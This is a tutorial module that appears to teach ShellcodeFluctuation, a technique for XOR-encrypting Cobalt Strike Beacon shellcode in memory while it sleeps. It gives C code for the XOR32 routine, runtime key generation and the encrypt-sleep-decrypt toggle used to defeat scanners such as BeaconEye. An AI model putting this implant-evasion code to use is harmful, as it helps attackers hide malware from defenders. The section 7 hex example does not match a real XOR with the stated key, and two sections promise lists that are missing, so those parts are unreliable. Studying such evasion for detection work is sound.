Module 2: XOR Encryption for Memory Evasion

Why XOR is the ideal cipher for in-place memory toggling, how XOR32 works, and its performance characteristics.

1. Why XOR for In-Memory Encryption?

ShellcodeFluctuation uses XOR encryption rather than AES, RC4, or other ciphers. This is not laziness — XOR has specific properties that make it ideal for this use case:

2. Single-Byte vs Multi-Byte XOR

The key length dramatically affects the security of XOR encryption. Understanding this distinction explains why ShellcodeFluctuation uses a 32-bit (4-byte) key.

2.1 Single-Byte XOR (8-bit key)

// Single-byte XOR - trivially breakable
void xor_single(BYTE* data, SIZE_T len, BYTE key) {
    for (SIZE_T i = 0; i < len; i++) {
        data[i] ^= key;
    }
}
// Only 256 possible keys - brute force in microseconds
// BeaconEye does exactly this to find Beacon configs

With only 256 possible keys, any tool can try all of them in microseconds. This is how BeaconEye defeats Cobalt Strike's built-in configuration obfuscation — it simply tries every single-byte XOR key against each memory region and checks if the result matches a Beacon config signature.

2.2 Multi-Byte XOR (XOR32)

// ShellcodeFluctuation uses XOR32 - a 4-byte key
// This is the actual approach from the repository
void xor32(BYTE* data, SIZE_T len, DWORD key) {
    // Process 4 bytes at a time for performance
    DWORD* ptr = (DWORD*)data;
    SIZE_T dwordCount = len / sizeof(DWORD);

    for (SIZE_T i = 0; i < dwordCount; i++) {
        ptr[i] ^= key;
    }

    // Handle remaining bytes (0-3 trailing bytes)
    BYTE* keyBytes = (BYTE*)&key;
    SIZE_T remainder = len % sizeof(DWORD);
    BYTE* tail = data + (dwordCount * sizeof(DWORD));

    for (SIZE_T i = 0; i < remainder; i++) {
        tail[i] ^= keyBytes[i];
    }
}

3. Key Generation

ShellcodeFluctuation generates the XOR key at runtime, ensuring each execution uses a different key. This prevents static signatures based on known ciphertext:

// Key generation approach
DWORD generateXorKey() {
    DWORD key = 0;

    // Use a random seed - could be from:
    // - GetTickCount()
    // - __rdtsc() (CPU timestamp counter)
    // - RtlRandomEx()
    // - CryptGenRandom() / BCryptGenRandom()

    // Simple but effective for this threat model:
    srand(GetTickCount());
    key = (rand() << 16) | rand();

    // Avoid degenerate keys
    if (key == 0) key = 0xDEADBEEF;

    return key;
}

4. The XOR Toggle Pattern

Because XOR is self-inverse, ShellcodeFluctuation uses the exact same function for both encryption and decryption. Here is the conceptual toggle pattern:

// The toggle pattern - same call encrypts OR decrypts
DWORD xorKey = generateXorKey();  // Generated once at startup

// Before sleep: encrypt (plaintext -> ciphertext)
xor32(shellcodeBase, shellcodeSize, xorKey);
// shellcode region now contains encrypted gibberish

// ... sleep occurs ...

// After wake: decrypt (ciphertext -> plaintext)
xor32(shellcodeBase, shellcodeSize, xorKey);
// shellcode region now contains executable code again

5. Performance Considerations

Speed matters for stealth. The encryption/decryption operation happens on every sleep cycle — for a beacon sleeping every 60 seconds, that is once per minute. If the XOR operation is slow, it creates a measurable delay between when Sleep is called and when actual sleeping begins.

// Performance analysis for typical shellcode sizes
//
// Cobalt Strike Beacon:    ~300 KB shellcode
// Meterpreter stage:       ~200 KB shellcode
// Sliver implant:          ~10-15 MB (larger, Go-based)
//
// XOR32 throughput on modern x86-64:
//   - Processes 4 bytes per iteration
//   - ~1 cycle per DWORD XOR (pipelined)
//   - At 3 GHz: ~3 billion DWORDs/sec = ~12 GB/sec
//
// For 300 KB Beacon:
//   - 300,000 / 4 = 75,000 iterations
//   - 75,000 / 3,000,000,000 = 0.000025 seconds = 25 microseconds
//
// Conclusion: XOR32 encryption of typical shellcode takes
// ~25 microseconds - completely negligible

6. Memory Alignment Considerations

The XOR32 implementation processes data in 4-byte (DWORD) chunks. This works correctly when the data pointer is DWORD-aligned, which is guaranteed by VirtualAlloc (it returns page-aligned addresses, which are always DWORD-aligned). However, the trailing bytes must be handled separately:

// Alignment-safe XOR32 implementation
void xor32Safe(BYTE* data, SIZE_T len, DWORD key) {
    BYTE keyBytes[4];
    memcpy(keyBytes, &key, 4);

    // Process bulk as DWORDs (safe because VirtualAlloc
    // returns page-aligned = 4K-aligned addresses)
    SIZE_T i = 0;
    for (; i + 3 < len; i += 4) {
        *(DWORD*)(data + i) ^= key;
    }

    // Handle 0-3 remaining bytes
    for (; i < len; i++) {
        data[i] ^= keyBytes[i % 4];
    }
}

The trailing-byte handling ensures that shellcode regions whose size is not a multiple of 4 are still correctly encrypted and decrypted. Since XOR is applied byte-by-byte for the remainder using the corresponding key byte, the self-inverse property is preserved.

7. Visualizing XOR on Shellcode

// Original shellcode (Beacon stub) - recognizable patterns:
FC 48 83 E4 F0 E8 C0 00  00 00 41 51 41 50 52 51
56 48 31 D2 65 48 8B 52  60 48 8B 52 18 48 8B 52

// After XOR32 with key 0xA7B3C9D5 - appears random:
5B FB 4A 31 57 5B 09 D5  A7 B3 88 A4 E6 E3 9B 84
F1 FB F8 07 C2 FB 42 87  C7 FB 42 87 BF FB 42 87

// XOR again with same key - original restored:
FC 48 83 E4 F0 E8 C0 00  00 00 41 51 41 50 52 51
56 48 31 D2 65 48 8B 52  60 48 8B 52 18 48 8B 52

The original bytes contain recognizable patterns (the FC 48 83 E4 F0 E8 sequence is a well-known Cobalt Strike shellcode prologue). After XOR32, the bytes appear random and match no known signatures.

8. Why Not AES or RC4?

While stronger ciphers exist, they introduce unnecessary complexity for this threat model: